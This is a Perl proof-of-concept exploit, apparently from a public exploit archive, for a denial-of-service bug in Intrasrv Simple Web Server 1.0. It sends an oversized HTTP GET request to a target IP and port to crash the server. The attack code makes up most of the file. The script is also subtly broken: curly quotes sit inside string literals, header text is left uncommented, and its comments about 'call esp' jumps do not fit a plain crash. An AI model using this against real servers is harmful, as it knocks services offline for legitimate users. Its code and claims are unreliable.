#!/usr/bin/perl

use IO::Socket;

Exploit Title: Intrasrv Simple Web Server 1.0 - Denial of Service (DoS)

Discovery by: Fernando Mengali

Discovery Date: 09 january 2024

Vendor Homepage: http://www.leighb.com/intrasrv.htm

Download to demo: http://www.leighb.com/intrasrv.zip

Download 2 to demo: https://drive.google.com/file/d/1HuUGIGMp_L6viM-j6djGICsyxZg_SJtB/view?usp=sharing

Notification vendor: No reported

Tested Version: Intrasrv Simple Web Server 1.0

Tested on: Window XP Professional - Service Pack 2 and 3 - English

Vulnerability Type: Denial of Service (DoS)

Vídeo: https://www.youtube.com/watch?v=9u77LwLgXzU

Vídeo 2: https://drive.google.com/file/d/1GDVpLx5YfWdhI3ZQcG5P0EWvuR25SEjW/view?usp=sharing

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static ‘call esp’
#Backwards jump to code a known distance from the stack pointer.
#The server did not properly handle request with large amounts of data via method GET to web server.
#The following request sends a large amount of data to the web server to process across method GET, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

my $sis="$^O";  
our $cmd;

if ($sis eq "windows"){  
  $cmd="cls";  
} else {  
  $cmd="clear";  
}

system("$cmd");

    intro();  
main();

    print "[+] Exploiting... \n";

my $buffer1 = "\x41"x4674;

my $buffer2 = “\x41” x 638;

my $buffer = "GET / HTTP/1.1\r\n";
$buffer .= "Host: " . $buffer1 . "\r\n";
$buffer .= "User-Agent: Mozilla/4.0 (Windows XP 5.1)\r\n";
$buffer .= $buffer2;

my $one = IO::Socket::INET->new(
PeerAddr => $ip,
PeerPort => $port,
Proto => 'tcp’,
) or die "Could not connect to $ip: $!\n";

print $one $buffer;
close $one;

print "[+] Done - Exploited success!!!!!\n\n";

 sub intro {  
  print "********************************************************\n";  
  print "*  Intrasrv Simple Web Server 1.0 - Denied of Service  *\n";  
  print "*                                                      *\n";  
  print "*            Coded by Fernando Mengali                 *\n";  
  print "*                                                      *\n";  
  print "*      e-mail: fernando.mengalli\@gmail.com             *\n";  
  print "*                                                      *\n";  
  print "*******************************************************\n";  

}

sub main {

our ($ip, $port) = @ARGV;

  unless (defined($ip) && defined($port)) {

    print "       \nUsage: $0 <ip> <port>                 \n";  
    exit(-1);

  }  

}

#3. Solution/ How to fix:

This version product is deprecated